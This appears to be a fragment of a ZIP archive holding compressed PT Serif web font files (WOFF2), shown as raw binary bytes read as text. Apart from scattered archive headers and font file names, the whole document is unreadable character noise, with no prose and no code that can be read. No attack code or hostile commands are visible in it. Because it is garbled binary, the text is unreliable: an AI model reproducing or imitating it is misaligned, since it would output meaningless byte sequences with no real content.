܉67?-NSOXlQHsQnp6k0~4;WBfzRE60c1z|{{EWC(<5ר5h7 7+>}Cƌo!^* Z!sĹu/Z:Dp-݅ 1H%qvL	:MY͒0lfhu'GS#{}lf:D:k㱝A!Ez4r,i+)jiai7ܫKLUÊw={("(ǭ[Ma-u:n<V;?VT2R{U}t׼on+[d=*ujBDZ4F]ɸ)ǣPFKIi\L$j!os(s%Ӆğl^$]OxU[#)~gR|p)bQ+ȄDF k0LޑX `@^[1c"L"3*E	!e]xy1E6db3{M@4fM~&m>9NpefYJ@ǳr <R[s+oYyS?ۆ%Mƾl6J%?
]=5/vxa7qۍT`h'V
]@u)}Bmug q4 RhqL/#IVsUeWϸH)GsA֓TI.\֝o$|Cf4(,kO}gfa=:L;&/?Py=	7BdV|UA©fzuq:wJ&)M +
2^`\Zu\@V=`UJNv_Ig)I;!]	Mk[V+٭v6T<Lۢ1uyH^emɾuFS|FmݫiNBIYk;nwCSۥM"T'l.PctJ/\ TS5M0݀בB"v @ϣΫcK`+~0X9^Al#j^	=sY^G?T<*8c?9ah(%vsmC(zI9pTj-edWKuUq_IDĶ81`^1n,O?Nx5yØLTG1qB~":=.ȯ{˲֭{;ǹx"!8Bd2X4t!m?q5>cj{$1 iƅl/b,>"7_aK+L}rNsI%77( i,^	oSg}[R ws"UcDAʑҾ|qes0h`ړd4f뫔(F7̔GEd~gF\єˎR[5]Y7\F<ac6i:p#lF1BB3T^=yCb8FǙXԜȦ<qI	I?.se&! 3oB@J`y)(3+J2c~`trKQ_yMrȊBJ9rgjbD?9\*	m%kRӶ	+"z*Vk
W,.SYڔSjEj}+BR+̦hF1hϦ49sԩĊJU*43Q/uݦ_Q˨%PAlL(KcXQ)xsFRol"n	S'+VS&J'9fVԅ*~PFQ2{26LQ7(9G)_
.>*N+"lg\-D$6̕nv}#lvrwUYn/QwU̽ʫSfa/|_zٶvece# iIdB]+aNDD~⊏vCIDbEYxc,+ӗ%m(+8bEkZ	R«vp5XnP#Иv=	D*0{Kms2=Nl>PQ|]'# [nm^'8c	{05cV͂HHKy|%b2 PL@:WJBN?PGdJw4Л#5BTfW+ԮݾT'~m%#? /H g)䰟q	,HOxG*ҏ4LIT2zô^6nWW˟IcGO7DLcW%fE]O7dezQA@(2@kO=|_K[	4D_\E"nRq.5zMi)l"bYMLI{}$'Hc\ ;S]0b9+Ĝ5}i؍?5F!}'{p	a0S	ْ0}K(ۘ\K(6RE:\(Wf|Nc`i	"z	$Z'$ &e!dKTA!j|d(K,@
N02,[4>-Sɋ\BJɗ`ȥX"qڒ0"2Qq31[2t	[Z"͡D ,iP qاEƂ\C ;KyB4kE V Q60fK\5bFH7$X1/I$QJb :EDH*`gbbB֒~E)q8u,Ak"2LDuX$]aÀ!<B/ѮIZXDRo H TtAK=^b2g*BXɝ&F;+)c<ذ_ZqY5~` H 4tSK )-/ȴD93Np'a7:j=裚@?71rW-h۬сՀVvo ɒ@2"نu6'7jd7/heo!8&HNF2fv1iauW ǬL'$g95G؊9j܌REZH՚iƕ炌9.MnS)FsK5"ςЂYu-tzv{wvV\TP91T{SV2(&_ڲq^ɐ1.D5FVuy+b*<ewW۟tFM1,תqSXʧ;LF5CĽ5F7ه S-פ&m.Ӥæ{6i[>m.*%j۬`>eSnV5]ҩ.(o.&1$fTգG~"췉}
ſU=94QrbX2e auc0d.vNSli8KF1Ud]vZbJClaA(dY}yGV=kӴݟfh$jfءGh膩w]'xx@iPɜFY)u9`@mǫٰ?y`}_UG?r<۴~f$ىͺcbV.ȡ&
Þ#rcH
Okc́u]}8Ն|ݨ,Kw1K
uGP`tqzw?|<EqОqwg}c1Z^	K.7;LN47Ki՝BMwMtPg1:uԁ
Gvy)lg̻sTŚjm֓]W+tz5=4p:IT2w5sHedl5N90J}<;5+7?{mf}~wA|fyw"wl?Կz:Ks8s3do(wzvBR5!86?Żvu=Ţ	7P^%=_|^pw?8_ <}Ø>{CU)ө'"y]{ n&=>#@=9ч!Gcdp7>z:>缛yNVGsHc4}ƏF?hxsjSɒj6~zoY5h8́~N^ou1?"e  D Ζ/޻>avJ.Mۜ`vH܋z؅>}*jjt#C;]Żkv5	=}	D>>!0f1>ђj3#~}-2*1e\ x5C܁nС(CD-iwH?KAt۰9A
YAWRLe@Da*2cd74LԢ0e1o8SjO6o3A40v@w7{-{3E}@ik3(*! x:|5pŁaDE4?3N؝Th3kj}Ls}gg:&FS!znxӓϰ{NNF ߰S!z'#"(wtbCǝԲZb;s_DNA\ӶThT9x<68)'#0^s _1e
!RK.JHRe*TQN_զo6#8DGCz>`}-"ĦF*+*[Fo&ŕk7fO:V 0
#(tm,_xDB{䵧ye<d9\_ %R\T5Z`4-Vtqusןf΅3	u pE7N
zOpdur\į/d'HR~6/[))~ŝ<'RQ|2j~=moovYXk^ڴYR]ЖX	GUQt[vV4.%3H_%!M$sZbY)-A/.* `U/XzRZ2s_6Gӑ/Iu'K;TotKG~g5$)F~Q.Ga2.$py|P$HeNT"N4աKex,V1!0<gm=b܇P8G"B I?A (eQt&sNxW+G,{XtD)"=6st+99RdaB wA'S-b7LS]TY06`+>-CZK\Q`pV-	  PK     N\Y$^b  b  0  fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_rm1chb-.woff2nu [        wOF2     b     Ϥ  b                       \ ` dJ	
( t6$ F6x]{G݁^i= )-rZێ~?$YUr@xD	޷],n-#|;m~ٓ=؍g}~svP,wEOrGÛQ_%T01umifZwW+dMZ'<A?₺4<IXDF"Y"` () I>1f[u/.\߹hu>
@MTHiNv4⃓Rջڰa|]^>#UA*YotoܖȘNmS@gsXdRy@۽?r}p&F3RJb5<ujnO#s][]B	IۑT'8nrol4$2@H	$Gҹ$]q# B/?mUͧӯqЌ,KHA;E09!F8q!:EyU;ߣ#D Aֽ3UQNRy`ҤZ8 w:B8\$Mqi]g:,ڮƇXXDc^pKs\<2|[(:Fʦ8iGzm|K%reNޅĖHl'iyba^kZSSK+]o?+> %j-iw;iuE߮T}>_:͌KZ^PJeʂ3<MaS2%!肼D'8W, +t-vO.s۞}4>->8vV_.*عC z '<Jk}Bo
$$0!WK!wW:n;ymPf1X*P81*mN_SYAA
̚&/ޯ>
H\ ^:V{߭&E`]JNN~ݧL+W$ɗoZ`3p@
\r<sͣw]
*[hiwT+0ũVzAXJ6o}î|}x˼O/cOu'h<R2
J*)2h\wڝ2ƋWw?M|+
 {.(B9)1>`8x!otht$²lX
lŎPd([2v.Vg0Ns%Yrk'2"T|WU<dCǁ
ݸsZiBŎp!W:DNPõ|pOh]*"HXd9;t	fa
lE0xʸJe`3A~In2/=	vaFho!'ٗmi(64,C#tDf&sms9%SM7\htmSYM,kjE_Tfn7Mla1>'A@d(a(%R@)(P tG(ƄH) c@v 5RG*%HU"!HHi55\rYHˋH-^H7|!^Z0&ߥޣ!&RZ,fL" xcE`"*Wٮsט"s4ntLG[']l\Aa@?,VeA?iU2VaԴPԪtNGO˳<va%=47SŴ`:lRaC|?KnY_[|b7\,,l"cPDK`~^4PಓVZ,~%xu%WxbM,a=Їne`bݹoyoߡd~MLᄌvZfjbZyFEg%eI2
Jr%ܡH+uCMIgѩ,ѫzTu?J-t_.x!?XטY')o+zάtV!vruY)zʯcsxbzIKNP@oM՚PއN8E^
Ak!;Pv N\6{lP5/}1gfLS<9`D$]gcD^J̫yĕ*S#N	+:3קCn;[)q<74ެ$a[I{L7c7F-5$6LMoa͝17zxn.^WMnksc6R>jGm-93|8zKHlb\.]`%MAbmAFsIR# aD!vK@G+Z@.rfU!h?`n
;?ǫ$HGlޠ]DiHl ([nLBOv4݆f
U'(-\Zi2WdV[N!k]8f?UλKPyEgg0f)JFK5S1(X-˴ V)_Òp.9L)~p?xaQ\Aa2Ɵckpr}ve["ar.,*<U}dlbf{wmJ$Cg:ϏLbn0)P\x3u$گϛa}2bb6yEe:HJ#|s)}糅y.hY1I'af͎e8uGm3,Z| bw8h7B_N y,S}˖>clR [8(-4vh9]Ei=_DD-3_}8m˶xR^p?h}ʣ;6g!-Ƃ֒s,B ^e#[[eRaa2Bk줍!}vDaL53FEx )O[V!Z?:ǹ(QrMƒ>w]/~%4iQQznj\vz2̏)q Qvx},Y61><VxuJOI7h5pg~.Æd(3ѦXL(	FLftP&!*/_ c+Vj:;Lfv]RĒ㵅&`iEx*;%</|mn|ek=.@9.	%R [pSRnԜ_f>M4R݃kl["s5Y%+¢Q6-muTщv2 Xϡϭx@	GAZCG2Rmz&ӈYbOJЪ~62Iv3b;O<R@@У>pNjK%U^,
g2BSݶ- Q7yg[}`ߵƳ"%}MkE]>â^8'}Иu8Yԇn>Zv" W*YE
[ԍFm	M5uAl\K_]I
7j .PZݘ:wzuYNaƏ-ΖlE@uިQ8^@Hʤ4LE0`\MZrO:d~B^v(h4+t-w[._߷%r}v%\2kM>kwFZ7Aox/vyBJ$CR\(j:ީ}-v=M{GJ3{^<΋:Z`S: Vg|e*}cۏ$dqU٧NTGCׂo9u*<Lj?П374:GKY<TH-n	dc[ǫŕA
ٶso6e
bp2>=Ap2$W8NA!R.!j@YIemGoʁ۝0:@DbYxH 3lHG00&eilR{g渼0/:FZ0}ti@L^ؠOJh+ؑXf15GA
vg>v|	n!1'0Yiφ;0̒?|מ&[# k,%MˉHL}4q?NT-Of5+A2Yus_mָ䦣ÙPPx*UεϥǛob0x%\x+=Yd7?ZĶxI"D_~Su:Oi	C<Tt]3?+#>i1>Wf][(|z|NRfC>Yl.$sFр<lb<)	Px;D;</ _HFi*9Z:gq,>G<k\XN>ke9Z_d<"WQ`]!؜n$8y+_!`p+rn͒}~M$L:08spyi
pd}[uhgf X!bE?uS}cMpLo
]Ú]LMb$@sҎtĊz@
F&Gr7"N£Z\L:Uggʯ*uP035uSKB9`6tC (23&8^;]#kr.t	*sǎeDjiԿR3Ph#rxK]+!(OL3cIj2csI_?ء;]
HSOfʅ,S15'٫4U(TLIO<a&[y-FzGc	3Qw{OW,<nBy!)4:Fm*:#,D"Щ^zV\R=` Z9\X엶Yi>Nհ0RN\FZyY9(9)ϔqNVqJ]im@3@7<^-]R!viٔכ6u*:Av_gYcjPPsMY* PQG LT)IX?:\꿝> $Oi>ČK6EЃ*iܫjH(޴=,Ǧl}WCbBeyÛ-y`	h 9~5{\Pn(Bbc*
dQnR*5ynAhE=prϮHRJU+F-긴ЭŮ*ͩFuPjYP:٫͚i(^BDaksxO/ۈS6fm۟>^p[gآ<bY1uI,cWw J0h:̎Fu2mPY۲ R ƽs,wFM{=v}Q[E?u>fކN
?.L
x"_BGGڮx#v{M,fMTLZpZ`\/3	'gy2-˨V J+ZG_fH[sU邟GpPiԣ(üxJEZM"ݝ,*w>sYmb gWҲSIˊXsJLS~lp=ht_<4ĖALz[?,;. (̖vrǒ3>9bΑJ,0s*& ~g h堫F߃U]l[DzfVa(i	:9#5܊rBSRÇ-iMUXcnAyhr<r?rbpRE4"|/:G:+!#=b^+_iUȔ,lN!ION1p2v+IZ
.v!EiKbe.S
ȴPb+#0W$b)5$TCmym^*L2oR¨{Őޅ/\s8~x<'ɪ77?8==7Crچ Gpce;0gJ~RTz42	zvbYN5,)rbc:C9[ܺa[Bit/*8p&轆ǹHgmS3x*Q֙0X3"&=6NjR-|O/@ d?er %9{,HNnlesR#?~и! B')Kh@\yWR,тoBr%2Ë;[\X? }tZ_:xh(N&fPT,g%#'񭊽m	0	Nz(i,k҆q{4a[hhõd:9N?́-t^j=4w8sA8yBٟWX8W?sIc_
+˒QTЉWҹ񜣊Y,[-2v4~K(3gw#YZlJs>sZ\}T|Ov@}y0.|$)`꿜^[@׼vNN{vJ~U FfKZ\i3Yq'maڳo4]D6eT`V,mY%~DNn]mp▾]J$J2I2ygkL!zJ8{dU)?o}.?'~'R~
IYώehi;7gSZ!d
Jj-IP!o!wG	RWS/9s9DbXYI>ADw|d*	eYrƃbtVcD\{/6g rlEfWi< 'u}6}S?4 .sXRDv۶8u{vAi]T/]w*mC1c߾;MxdTѭzh#(|r-6 ON/gZXI+bS0LnE;FIN*te=f7)nq7kdګik\(GyF8E<20h"Cofy#={.n$x 6w9[-kT( _68DzWJ;	yGRo<7cc6q94v%ܗH7#ӝ=}~Վy>~3CЈ|z)1\CߔeѲ۳R/0s^cm^<7:ZO 	wIw=qyĩ?DZI0;)ok۞{m j3Rv%˲#jwuk#Ǩaԛ,h	$]>bl}kx%=CQpDF;N [%@3 dpIWJT'sr``0<A/Ss)/V^?]"^jdʼk$7%j2ooڌ#=_UؖCآQfk,J-:+uC	FinƹτA9/=&EE@eP4hjB*E%Ȧ0~7 -H _M0+B'[C2u+RGslM^mXgLPunT?RD]&8l&0WbwM\6kC\88Pp؄`O+jTg񶬥edAѧv!I fYzjYEM͋Knϖp
-|Q6\k:R_WWO JeYʢ۴t>~=+e:_ܦ,g1_i]''17AT1i3;кv4X#)V6̒n*gNJIuRZe$ZRXJR\t3m9`#|J1
fݱm%PjQZB4;b罝Xhh2s9|UR0Wc`)-BAi#~O</@X_D3F@Aif[!,PBطI_Gz{0Nz9֭u/QUZV
:ࢃ}=' .{?YIy
h}2' ]M0 gh0~>&ܷ%9ynvjÕ`^agbM%yMHtQC%UO6z :8nг&=Η`~Bs"d-ۅ&}ziBнҩ\;vF
q|*o:~	7ch)C$P c-1ok\9zwQbMwiG.7kq_e?hl&<M\A!װ-gXROI9m\-rn4Z8Nޫ,&71Fv$U}fD-/{Áa
H.H!e-#,D)y1,l95$	6Ͼ2$<tغ݌JQf7FЌlY!*RHSXGaȡ׸R<@r*솬ar1)9ш߷1{Z	GpD[;f~lHc Q)Zqq\;&<}ZF/8*|0&;v#5K[cGS*O(Z>_tLD-+\S`ЗܸzOni$sW^N[@xL)ٮ [@QwHb9rĿe1m
K̒1t]0\(g,,cʫz۳24XɢĆ`Ɠ9K&G%|zB<w-gkk"Upb}B>Um3e,ٶ6NW$R<.|` C3#Y#Ҽǖt Ӌ֑޴Ehb1Ƣjz#kKв#=E=<3ߥ}!zZ^/X/WȤ[O{fƮ)À@= EJpQowwy M2㇅2cwԏn a ĘS-¯
 ̚4b!QCcKe#'C]%Gq?iQ(6\BH [CZ "Ը)xi 6i.zq`L~qHwI)|p%G=A_`BIF|sR'௾nU!Y:S/ʏS`^GF B+0Ev?+K!ʤnV0}김S}m}1>Mu+{ө;|lX~s[kdܜ9ljV+g PR 	mg)FyXӷdtyy׶.d?tZ? }*N̹_+u.a8}dr9:|g`gUT}쾶4yDU¨2PIM@ll&
WH< ɐh
j J"lZ*MtA2C AIցWd@d'- |Jȣ TtpUow&;W}0>n1Y+B P/ctL#~9Quٻfw)ܱ[t{Gq]vL\VRQC5_5"y>6
;`?y17
ٻ^ݯ ~=߹~ W̮ϲ.*?Kܔo|ceο,Gp53?sDuflҝk,DX!܇L	@.xup
763@ߐF
sqĔ'@LvڷSv4
Zb?0m yESc
4"W: F x%Ј)$&Q^{u
/ΟzV	E59wzԏNŭiT QP$7͢ٳ2bT*|H.WT*6 .ف }>7Dy|<bEMhk^nhOBa(bf0ta
 ʙz1?#TeZN=DwL1nr]8UC5GN6.ߙy|0
s^;SiHQ&`/]{ pj1LeV8c|d ʊW<ٚϚ\e#ϊ*@Ѐ;GE9r˅[$8jT&hxK_To>,;j8<%?Y#VbN
.,)qBQۗU`D$//H>PHҰ2f@I'22i] d."P76f6Br¦+GCX?'(S'(EmkHy=0,R$:kG%ν4;\.U&<C>ךR3f~l6g~?kgThT:^3F@ u{oo3JmƯ7
E~+.hÊ%pq
\Ǉ@Ë&})ԡN:UHcG䏔}B:ұM1 	\& /zUuiY"< 0qE>5-iAs.zSn00oA3mn$m%Y@1mK=c5M#Tzm-Ĝߩ]5e3=v 7H&\w,<B%)/-'loUx9s pIo* 4)4i&B6ɶ_owR0qT/D6CiI3l;-	
6~Fgf?+.@Dr3/#qB4RHiվy?p#)#	V֘ȠΖ LPɧC|ā9d["p/ig$!>;8QZ.uTױu1z9+I:#oF鈻Éw~nnOz[|(>&(i=xP!FK\BVqVb(vʊr*15?NCj԰IzGRKs*4fY֖mL7-[s$vp[`h8.!kof}2e1?Fw4w5"D[<hYKA%;
*ٚég-+yrxȘSIcSP\=4uB9L܃Z瑾!$wMW%\frӆ=KPvn$Ii<("K9Uor?/u)}#$-MVWӠ/,Z:?_)3`NB?oB2w!97CN#C(s#(7]ʰ7xITP$p"  P\1&QxZRfQ|^>«ܞDJIQ,I2ɥǨPP zOV`ߤMۂ<4Z75LxP*C!nU>&bbeZ3ow䶦v2%_ps6\*C9Yt1!ݱ
I&`.{1tf0F>MϱMtchAT)W`-uVT$m^@ӓVl	ܻeiv""_J*W"5l<R&u,_S590<5ҫgsx^ޏƣ
hs#B(ڍi-GCe0X}Y'/tgs,cp~KwU;xe
:e K̜wn/s/w6}McmwQL\AgXV#u5P7$\4絇%1Ě.jՓ&3L > OwyL`e 8i3>f[LWoMtiȷa:bu`K<ރM:U@n#Vo(Z[҇F[tk6J>La_J<?,#mrgޒqAX040icfFN^&1,1H3D[M1N & ajςL@6ɏ7'` hQ-95u%kOxQBՅC٣])c70sљW@~i\_hq;Gv/I
E"'iZضȎ"v5ޜ͍5T8&/Q	Prk}%3fZNH%z612Q8BO9 '1rD(=23paő՟9f|>TzZ}
`4?h;$}]~ԉynۻ?iQgj_4(h/4H0Cm!Kfc?͵|8;+dC[?h\|r׳YXu|ao5zh7TNM)r,Xr+IbEfWa[O
CZ^O_YyVvйefd @>S1mt\L$ᔂɓhɪ~Dڑk4_apϺxzhs/^t"-rGVpp&tKL-wL%"Hܤ?yqe	oӡ
63z.RG/PP߀0)C@yxQGy,wVEqITO;ݪLug]9g.n0XoxaaEV>4iF͸nB+R4s{,Gu}.JoT	YA9F#xNt=r>;hKq븽 ˭<%ѕ["WwO {\`A?^]'}ttF(rۘu:_Z25!eb2jc85wK/)~=Ɓ(Uڂ}{dV7@^J9b$E@o#X1ޏqr2RENmX)nxIQnBИ!+kI]%(rAڧww]cZEk)Cw/'edzL$ИK{ݲb9hW,&icZ4F(+Cݭ){A~{)Z@ҿX{T"C8ZlgLlxEA>"ZtP'L9>KTQ2Sш3#p( u~5,GtMc{t[?~)(\FlO	QdVz麻DO?RsK(v)7ĸ:pcy[|<w*͐:>oHL@1ιpn	1'RZ_PwEtJHuֹ9]7S\P\-u0@_15/sF`cߺ=qOx0<6	)~	mlL3ͷcg9x}䰋ESb*@2lC$̃]cy-.x oc
}Qͨ|@qO]OrK I(^x[z1sln[G7ޞns2>qJ}MrTdmD>\}R|)VETTzj<GޢA>t~@j	oǮ{fL-(,襑k>ބлz  9y,Ŋ  <~_T(
K $M6D=hl;ðv6Avc*{ʴ 4$tNRnKa<v&Uu~Du	FT|{E Tw*T6INMPepHUܐ{3./ @d<ՂrۚfP!]B'"0u%(kpۏKw"A 㷼E|ް4 ʖ-G`cbFcvf]1$ ·Osk&]|,&^/TOGtl"b{45x;$#N\Oћw	QZbFhR4L>Q.\ {QKWwx"^. Nn v>nsMbN.o&uPmsr 3^ąvo!ٸo1H`͐kNނFyBC7'1bƌV,M'dD1ɈFgJi2r؛XdgP2g$kEsh9a3n]nfb8FO=S!$*+h7m `yGna;.#=fLJwSc(z~)Wo}K-WS."-Ig v_51x&_tRVn}<"BPX^p@# ʹqTp鱤sbuK0/yP<9c\k^,B8f*KΙm.uQ2fu(X/Pc@E<@AReM:T;s1c[{*E+F˹EcR4a( ʬѴPĻo<x54KSyz?|E:oYd*
],WSj\qh QcnhJj/@Eʖm_"[[߁r@UpY8
 @>	py!#_jbe]Ex
PQD!.)R&+D*ZTlWZE[}4GfMM#8㘷i-.)nA$[>gI0/}XBT(Z>wh4Y`7+F"wd~4'"rN'Kclͻ`+ݿbe<k:޽J̤hI-𻚽H뷟JIL"Ѷ"yKv蝣꘭23LM^R~P^w<N_FIs]pes
Q* JD
tF"0o"D,qfj@5QD%h"e1 :DS_rs8mX16
Hw$]	vb$jMpB~1tPB'e{'xNFG~LDql368(͗KaIй~kE\V9ڦsfl4nćHDw4̑+Ra)aja9^*LϽB9=3b!Xb%ɆUxy:	O
n8grNֽq `&Йr%K_wJY!B3z+ۃ%7Hs2#>a,yp	_ϚWg&~eyZpV3 CxbY<),?q3iZ}fm9"ev]]43֌Bݡ2S)	f<;8Kd&Ê},>rծU .H6~Oyf3U7Ƌmm<a;ҩK&']l ]!@]$)h@(
]\+3ǞK\FQWts-+P&jlY/f_ǟgaH6GfHP)"GJQ_&@
4?T;NQޞԑ$j*BCnP4k)ӲEۡv*"&!X' Cp&tA$>uCɍπIťPF<Wmcr3=:v\ХꍛMx*2NI1 7c*$cxL[n㹨'PDQ|[ﹻX#s)r^ٲ {
q~3zGb0Oe~!&<N_Ll<ڝV8{1$vqb4wl+"lE
^GQU8{Ce?jvf8s_ĐRѡ\'#ۨhH!Z6ʂ}-.Tlɺ68]5@#7VMl
2p^i/d3Ec
*1ؑȫG7B|OϸLGaLTqlGdؘ38t3v
rU.s56n0b3;gg%bb [G8zTR轙}˖4a+|tf8hDZm)ÞUͳ>;KU!K?/f	0VAL
9=5[h%gm8E=w	d`t#CId=^X[~O Լ7]ڀ #8ệp$Y`:8S	pkzV/rexmsrCck{ُM:ele]dz1Fl=6`	y#?Z#oa`A~ݦ{%B e`$Xa"jg~=I7G?nvw1bJ B?M3=ڕq٠c[(B8>	[
)ZK.V-VwuP ^u}om-ኮM+09}	"	APȁl,?oE8
A}<KPo?8/ o_k9w*nƑjF c׿|.j<Cz^&'FukbhcioCheH]!&ٖOhv#r	1,׺'}CD!'[d׎$6]M@8!QbJ'n$R/8"*ekf;vNtI\+٤`dY_3'eC~Fy7H-dv)vz$)wVEa!}C_<<j9ХPԅ])+6/F07$Z)[L'f2ca<<>hI&^-iHom+,ݾ\ڞJTnWQ~![i%[VFǵS{i~ҜT`QnSŻPVƞ?h~	]wB<푇 Edߧh.X6G>xCsZ@b#$A?,鍳]A$.%	Lrlƹ/Y$Oʡg#GDaPyy89EFo:xA=;
:CbQJk :2jl\h#&CɓIĪ=&(;AGOEr$ЙI\ɖAزolx>8$ៜRc]Ч'pfŶ]|e/ daE!'OOgJT̂ClT@~[FuY>n41B>SS5(G	}˻"5?V/y!?{#zwAkoꊞ8כVk
w\dFK]Τ\tpXO*Ϥ(rẲD}[ )U=Dr.4QFv}^B&ɿ?zk^Qav_3yxy[hh= 䂕>ݝr.>yGh6/sù`wvJpZH[YcA8irE<;Efֈ;ǥw/r9S	*{ޱ"5jg3wDo+^CgQsYzGxq]8&u>Zhꡀ2Qg`!D⊂%-sOڰTңۚĄ''sF7r48rҔwu*'fuU{;ᜇWLkۭ=
!%& }_z'N1Y)AȟY~Sl}rUsxp;YvE}w˸\m|\}1攮J7ai>γ;ECzO~wNR<s'wn=?FEEDr )1w{ɻqt	.,AhjMȞi]*[!֎"8	2<fo~	*
\url.6{=eT|>}'o4[c= j	܁IIs[R5~HE[[.{hzG~<%iEyK3/N[vzc&~Vw)~2K:[o?σ(Mf1^JnL)fd4:'hJ;	϶RS+%u|`({>%9HfUk:fFRdi>a2-M\񐛌LlZǬaNL2%rݼ>@uA՟~-yι?$m(4Q
:vռX˙l(mfUD-|N曘EF`M>ݲWร"[8=uz5ŗ7&g</GdVOBtf3OBwn /'j_Ir`bUΰ2:ҏ&x1>}>ǉ ЕhAQ|xSt|!msMەX_q[grw}#e=!2ۢؼ4>d"Bd>Jȭ`+fh& fa҉hn؋?uW*)\عm<r;j%1xQ4&Ct
6@0&3h̡LAXRDglSR!D0$Di0l>(@զS)M9	|0i[NEpZtGl4]NgE&]¸KX67OolID"\iq0u'ӒxKvlrIcfՎ(Cvy?@Ky@,6;d0<LG]X=Vc<&>橂|8Se_15+1S[0B0pgp|}xj>No,+I?8drq{#Mrky\ :F26bg!o1LaP2
%PC}={oT$I
%HJualIvKl}exĀE85#"`X{gƎ*p\6[cB\0&j6)moU7lSGQ.sbFA,gU/<-yܨK]k$oGߍBԔ!?W-O)"wU([-^cX*G/0/z3ʽ&M_6bHf+ȷr=je:e$q-KUW+uJuI?¬]	.JmM¹Yqj޿uπׁ6j9'y-0~ԝfα{CS?	deSmA+si;Xah^QCW2l5P)9+fq/
 xbnTp"[1IXx#3CQ ,(υǪF''H02_2rRo=iIe74E].s#c2L8c;~z]+`:78fy"-)o%- \bVRH=3x-urK)%;F<shropG)Y>= >*4¯j"粛<T uWfWfMjǢM%kT0 򷻑ɌgUYUW,	SvO.\53sH	EgFcPe&6sC#TSs%a]۞8Iխe#󦕛t.!3C7Fy|R}]ܙojvyQ堗7oG@(cXSR?$Gva/(~+ `gYм(.ڼzEh caǨ#_:aFu)Zsh|eȓ'-U%LV[S"r_kh0~xWv>trN(ixډ*i*{	O=9zub:|\'t2Hgn'LG&l <8e/IOO)Q]D	Iz]:%[272Mjmwj&a$')U-pADK.t+`}+efɛ~ RV"g `xěA$D%[Qs!kL1pRཫCXiZXTtʽguX[[}^8Ep|"	XՂXg6CqAs?J~Sx`|fGV/9[!>}uMUe4oc{	mn@9 p9    q֦K>>;b@gw߼7: ~H0+.8"pQǨ9FK x  ZT\22yg{`D|tmDU>!U$qY`h)|-_}~Yj0AcJ>gO;n0V
oڨBHkՎb}4DQtB[>2PYXI^Y12mA0u_VǸR\8c~v11MPQp&l!y  n$h1DDeWQ#q*J#IA7:e*Y2gz6 (8`3H<=X|J>jIaD%蛊Qǆp@8~R'ulh\|jY>Fq#?{@aEt	}%,~"e!!뢊iUAc1rǶ_^PXlƧLigp)`쾚+ۼ\F^Iu=Q`,K.,N ʇt3}[2W
Nּw[9]
-l4䒬`\.5\/mM581B*1BMG>}ǁۧ_ؕaBu|2Kأ08b4?Q?tT(ބ%WU~n!	sJT"%$~9W`XtTA_@
hmWdKj[grLCJ*1Y3T-$꽡Iw۲w Zam C1fJؠzDAd$lw\CCS$jD@z(j0h]>	#V475*ARmo=Xp	mD:tL80y0m#{ThJC*ӥ88 2
4e!9Q(.@d`.)JZHcL2uqE8`tfN["enT:cԱ-|ֆ&7M7
zIV}\$TI9Pe<i|&;C4KK%Xp' h4aUm>0K eM:nYN'aV<bcNU,rм'BS\>ͺ056z419-O*9UA!i>/at(3)8T(ԥiϼ!zD~	K^׻: ֎83{LR%rI
<>6Xk0 =^ӊ`edD{^	rrl7W-֬3;3AFGnm~l⎽foꪋ*NE 0+;DI+ߨ
W2V}F<F%Nh>NL8ajree;CqcDrh!+/KҼf>l.*d:D׍Ӟ,CӅg69bHz ]^+)wo_~8G6\b'p"q#c:8EW]NPUVjj_ߑIp#h~<pa,ߓ}=uzb0>hvVinػY{[$S=+θ.tFSyyc.h_>t=t?|>%[ٌ>X 3⪦HJ}h~-SҜr>nejɶi҅CvZN[F,z3NfI	%3z,fSknLb<V9Knl
	[!_;d@A2uwRW,2r[^e!bJq d/VnQʮy#y)+΍ZqCN:q6:0Btx8kQux'9 _k;bǌH1W{h ؞bOA `=5L)óPɊ=nU5O9*Z-8c04$5½%Ov$ǳt@/՘JN\gNi'D`xA.7*Em"	Ӛ=o.)bޠ/S$fONR[ɑX=),r`
Sʃ̜\G3ל@ૹVUjS^v/SnA02K&=K?FQN+uN?Lʉ^U޺{UKkGmU|.x y1ČTǠ*^4`=QG3+N0:x1_yZ԰heǣo΄;B		
|N(G4޳U;@2t.m]=_nE2,bDA5ǌRoZң,_+7VnJTlI1g,Y#&q}Rztx7B	@`d-vI#>*;W csO
x:INj|Wٶ*u4naszsz!x,*^TEFC;*6c+^T96 -웉{>j=XϨj}$QuGs܁wHMO{^BSP+_28պ?{zA7.Cs6%-YGξ|Dnh:]FLhHkd?.ak{?UD/vSKV_:Vi]xվiHܝ.d]h1Nm}۷]Ƌ.pǼvIx#+>G_8׳x=e_4R1Rbi;idm/E*^i$Ή08$-ʬ1	]Cȹ|zaꏢWe3꣤Jfc^q+ȓg*Ab\w@,ݔ-\mȷ85c.7RݥA@]BKcGN):҆0]uYh*6TZb:܎ҧ!Z 5c;>NDQkG1zM6̥Fqͦh+
U%ʤ3]zEԢV퉞ꄰm=J:ZoJlƂ>σj]gX) 6¿2F1~2e"%TZ|hȆ	sؼe>Tg`s.$ؔS%.EnS.>+ձt-\M<*:n.d7w]ږbߡ8q]hmݐ'&AČ߬Jx᪳P?D,vMK$r;Ūz?Y϶HHMiَ*`.o"LPԦ9[Xml;q̹;{.%ed\v֝{GOhhz1{p25IcR5hU=ظ$ cRIc㒁X(r-0Rظ@Rظt@R{Đk16nx75\'~2֧Ǫ̏9u0T]%N\7:#b<>D6ȐU *$?)I/Bq.CRM |$|{X>;"q+ T6N_)QKHT>?srЏm.%'d*{m04H4-w5ۄZ.
N0Q2 <9}	}  PK     N\cxh  xh  2  fonts/ptserif/EJRSQgYoZZY2vCFuvAnt66qfVyvHpA.woff2nu [        wOF2     hx       h                       .` *	
@:X h6$, 6|zWpN)w ~|
{	4>3l n^RCi 1uA
sqQʙ@)sIVJYȚu˽Z+4a'qt\xw
ա%̴$Q\R։bJn]6Mxy
dS,ybxKzjLTb?9IM"
5sI/mYQnAyh07|J[Y6.c$+',ؖ	d{H{C7Azh6) m=lΊiv]Υk˸y˥yc߽jnj>f@?ll=:{y? $a<!&9"<96^TeV&^C,x&o!m9)甊K~(a"FB aƜbWB=S$H|#mfȚT=>؂BS)KdNb;NwI[JK .o97_$%@Č|nf6v;wˡJL /@ vΛw^cْ-K.g浟RE/& ,&-;4[
H.D	I,iA	\\,tQBPӋ _ `	DA:4-/;#WI\l$,Re5y_<F2;6C]=!915(if?Ā$+
	G`69Sͼ;/<MJ0E3Df'Eu&˨WׯCV6Ն`833G8vM(uςMM҅m9bc D[Lɨvup6
GVp{hFa8FYdڲ9Sn_o/CiJ!86dq)B?i~ΗG\qC"i~t@ָMᅬb2\:J
